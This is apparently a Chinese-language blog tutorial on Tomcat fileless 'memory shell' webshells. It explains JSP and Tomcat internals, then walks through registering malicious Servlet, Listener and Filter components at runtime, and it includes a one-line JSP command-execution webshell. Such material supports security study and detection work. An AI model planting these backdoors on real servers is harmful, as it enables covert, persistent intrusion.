Tomcat内存马
Java内存马简介
内存马又名无文件马,指无文件落地的webshell。传统的webshell需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出一种新型的内存WebShell技术,其核心思想用一句话概括:利用类加载或Agent机制在JavaEE、框架或中间件的API中动态注册一个可访问的后门
目前内存马主要分为以下几种方式:
- 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
- 动态注册 interceptor/controller(使用框架如 spring/struts2)
- 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等)
- 使用 java agent 技术写入字节码
JSP
先来简单了解一下JSP技术
JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println
一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术
JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP
当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页
JSP语法
脚本程序
脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下:
1 | <% 代码片段 %> |
其等价于下面的XML语句:
1 | <jsp:scriptlet> |
使用示例:
1 | <html> |
JSP声明
一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下:
1 | <%! 声明 %> |
等价于下面的XML语句:
1 | <jsp:declaration> |
使用示例:
1 | <html> |
JSP表达式
如果JSP表达式中为一个对象,则会自动调用其toString()
方法。格式如下,注意表达式后没有 ;
1 | <%= 表达式 %> |
等价于下面的XML表达式
1 | <jsp:expression> |
下面是使用示例
1 | <html> |
JSP指令
JSP指令用来设置与整个JSP页面相关的属性。有三种JSP指令:
指令 | 描述 |
---|---|
<%@ page … %> | 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
<%@ include … %> | 包含其他文件 |
<%@ taglib … %> | 引入标签库的定义,可以是自定义标签 |
比如我们能通过page指令来设置jsp页面的编码格式
1 | <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> |
JSP注释
格式如下
1 | <%-- 注释内容 --%> |
JSP内置对象
JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下
- 由 JSP 规范提供,不用编写者实例化
- 通过 Web 容器实现和管理
- 所有 JSP 页面均可使用
- 只有在脚本元素的表达式或代码段中才能使用
对象 | 类型 | 描述 |
---|---|---|
request | javax.servlet.http.HttpServletRequest | 获取用户请求信息 |
response | javax.servlet.http.HttpServletResponse | 响应客户端请求,并将处理信息返回到客户端 |
response | javax.servlet.jsp.JspWriter | 输出内容到 HTML 中 |
session | javax.servlet.http.HttpSession | 用来保存用户信息 |
application | javax.servlet.ServletContext | 所有用户共享信息 |
config | javax.servlet.ServletConfig | 这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数 |
pageContext | javax.servlet.jsp.PageContext | JSP 的页面容器,用于访问 page、request、application 和 session 的属性 |
page | javax.servlet.jsp.HttpJspPage | 类似于 Java 类的 this 关键字,表示当前 JSP 页面 |
exception | java.lang.Throwable | 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象 |
JSP木马
来看看传统的JSP木马是如何实现的
1 | <% Runtime.getRuntime().exec(request.getParameter("cmd"));%> |
上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马:
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
传统的JSP木马特征性强且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。
Tomcat架构
Tomcat Server大致可以分为三个组件,Service、Connector、Container
JavaWeb三大组件
Servlet
Servlet是用来处理客户端请求的动态资源,当Tomcat接收到来自客户端的请求时,会将其解析成RequestServlet
对象并发送到对应的Servlet上进行处理
Servlet的生命周期
Servlet的生命周期分为如下五个阶段
- 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
- 初始化:当Servlet被实例化后,Tomcat会调用
init()
方法初始化这个对象 - 处理服务:当浏览器访问Servlet的时候,Servlet 会调用
service()
方法处理请求 - 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用
destroy()
方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁 - 卸载:当Servlet调用完
destroy()
方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()
方法进行初始化操作
只要访问Servlet,service()
就会被调用。init()
只有第一次访问Servlet的时候才会被调用。 destroy()
只有在Tomcat关闭的时候才会被调用。因此主要的业务逻辑代码是写在service()
函数中的
Filter
Filter用于拦截用户请求以及服务端的响应,能够在拦截之后对请求和响应做出相应的修改。Filter不是Servlet,不能直接访问,它能够对于Web应用中的资源(Servlet、JSP、静态页面等)做出拦截,从而实现一些相应的功能
Filter的生命周期
Filter的生命周期和Servlet一样,Filter的创建和销毁也是由WEB服务器负责
- 初始化阶段:init(FilterConfig),初始化方法,只会在web应用程序启动时调用一次
- 拦截和过滤阶段:doFilter(ServletRequest, ServletResponse, FilterChain),完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器
- 销毁阶段:destory(),销毁Filter,只会在当web应用移除或服务器停止时才调用一次来卸载Filter对象
Listener
Listener是一个实现了特定接口的Java程序,用于监听一个方法或者属性,当被监听的方法被调用或者属性改变时,就会自动执行某个方法
下面有几个与Listener相关的概念
- 事件: 某个方法被调用,或者属性的改变
- 事件源:被监听的对象(如ServletContext、requset、方法等)
- 监听器:用于监听事件源,当发生事件时会触发监听器
监听器的分类
事件源 | 监听器 | 描述 |
---|---|---|
ServletContext | ServletContextListener | 用于监听 ServletContext 对象的创建与销毁过程 |
HttpSession | HttpSessionListener | 用于监听 HttpSession 对象的创建和销毁过程 |
ServletRequest | ServletRequestListener | 用于监听 ServletRequest 对象的创建和销毁过程 |
ServletContext | ServletContextAttributeListener | 用于监听 ServletContext 对象的属性新增、移除和替换 |
HttpSession | HttpSessionAttributeListener | 用于监听 HttpSession 对象的属性新增、移除和替换 |
ServletRequest | ServletRequestAttributeListener | 用于监听 HttpServletRequest 对象的属性新增、移除和替换 |
HttpSession | HttpSessionBindingListener | 用于监听 JavaBean 对象绑定到 HttpSession 对象和从 HttpSession 对象解绑的事件 |
HttpSession | HttpSessionActivationListener | 用于监听 HttpSession 中对象活化和钝化的过程 |
按照监听的对象不同可以划分为三类
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
三者的加载顺序
三者的加载顺序为Listener->Filter->Servlet
四类容器组件
Engine、Host 、Context 、 Wrapper,关系如下
- Engine(org.apache.catalina.core.StandardEngine):最大的容器组件,可以容纳多个 Host
- Host(org.apache.catalina.core.StandardHost):一个 Host 代表一个虚拟主机,一个Host可以包含多个 Context
- Context(org.apache.catalina.core.StandardContext):一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
- Wrapper(org.apache.catalina.core.StandardWrapper):一个 Wrapper 代表一个 Servlet(重点:动态注册Servlet组件的内存马技术,想要动态的去注册Servlet组件实现过程中的关键之一就是如何获取Wrapper对象,再往上也就是如何获取到Context对象,从而掌握整个Web应用)
Tomcat中的三种Context
在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息
ServletContext
Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext
接口
ApplicationContext
在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法
StandardContext
org.apache.catalina.core.StandardContext
是子容器Context
的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下
用一张图来表示各Context的关系
Tomcat内存马
Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型,即Java Web核心三大组件。Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中
这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上
环境搭建
新建idea项目
为了便于调试Tomcat,引入Tomcat依赖
1 | <dependency> |
Servlet型
Tomcat中动态创建Servlet的源码:
1 | private void configureContext(WebXml webxml) { |
创建Servlet型内存马的流程
编写恶意jsp马
将恶意的Servlet动态注册进服务器
2.1获取
StandardContext
对象2.2通过
StandardContext.createWrapper()
创建StandardWrapper
对象2.3设置
StandardWrapper
对象的loadOnStartup
属性值2.4设置
StandardWrapper
对象的ServletName
属性值2.5设置
StandardWrapper
对象的ServletClass
属性值2.6将
StandardWrapper
对象添加进StandardContext
对象的children
属性中2.7通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
编写一个jsp马
1 | <%! |
动态注册
1 | //动态注册servlet |
先访问addServlet.jsp动态注册Servlet
再访问对应路径的Servlet,即Memshell即可弹shell
Servlet型内存马的缺点就是必须要访问对应的路径才能命令执行,易被发现
Listener型
我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种
- ServletContextListener
- HttpSessionListener
- ServletRequestListener
ServletRequestListener是最适合用来作为内存马的,因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener
Listener型内存马的实现步骤
1.实现一个恶意Listener
2.将恶意的Listener动态注册进服务器
2.1获取StandardContext上下文
2.2通过StandardContext#addApplicationEventListener方法添加恶意Listener
恶意Listener
1 | <%! |
将恶意的Listener动态注册进服务器
1 | <% |
访问Listener.jsp
此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发
Filter型
在Servlet容器中,Filter的调用是通过FilterChain实现的
在doFilter处打上断点,调用栈如下
1 | doFilter:11, Shell_Filter (Filter) |
跟进ApplicationFilterChain#internalDoFilter
1 | private void internalDoFilter(ServletRequest request,ServletResponse response) throws IOException, ServletException { |
调用了filter.doFilter()
,而filter
是通过filterConfig.getFilter()
得到的,filterConfig
定义如下
1 | private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0]; |
一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的filters
属性是一个ApplicationFilterConfig数组。寻找一下*ApplicationFilterChain.filters
*属性在哪里被赋值
在StandardWrapperValve#invoke()
方法中,通过ApplicationFilterFactory.createFilterChain()
方法初始化了一个ApplicationFilterChain
类
跟进
1 | public static ApplicationFilterChain createFilterChain(ServletRequest request, |
这里省略了函数中一些不重要的判断,从createFilterChain函数中,能够清晰地看到filterChain对象的创建过程:
- 首先通过
filterChain = new ApplicationFilterChain()
创建一个空的filterChain对象 - 然后通过
wrapper.getParent()
函数来获取StandardContext
对象 - 接着获取
StandardContext
中的FilterMaps
对象,FilterMaps
对象中存储的是各Filter的名称路径等信息 - 最后根据Filter的名称,在
StandardContext
中获取FilterConfig
- 通过
filterChain.addFilter(filterConfig)
将一个filterConfig
添加到filterChain
中
在ApplicationFilterChain#addFilter
方法,filterConfig被添加到filters中
1 | void addFilter(ApplicationFilterConfig filterConfig) { |
关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter
创建Filter型内存马的流程
1.实现一个恶意Filter
2.将恶意的Filter动态注册进服务器
2.1获取StandardContext对象
2.2利用获取的上下文StandardContext对象获取filterconfigs对象
2.3创建一个恶意Filter对象并重写其doFilter方法,在其中实现命令执行并通过response返回,最后filterChain传入后面的filter
创建FilterDef对象并利用刚刚创建的Filter对象来初始化,并新建一个FilterMap对象,为创建的FilterDef对象添加URL映射
2.4创建FilterConfig对象并使用FilterDef对象初始化,最后将其加入FilterConfigs里面,等待filterChain.dofilter调用
实现一个恶意Filter
1 | <%! |
将恶意的Filter动态注册进服务器
1 | <% |
先访问jsp木马
此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令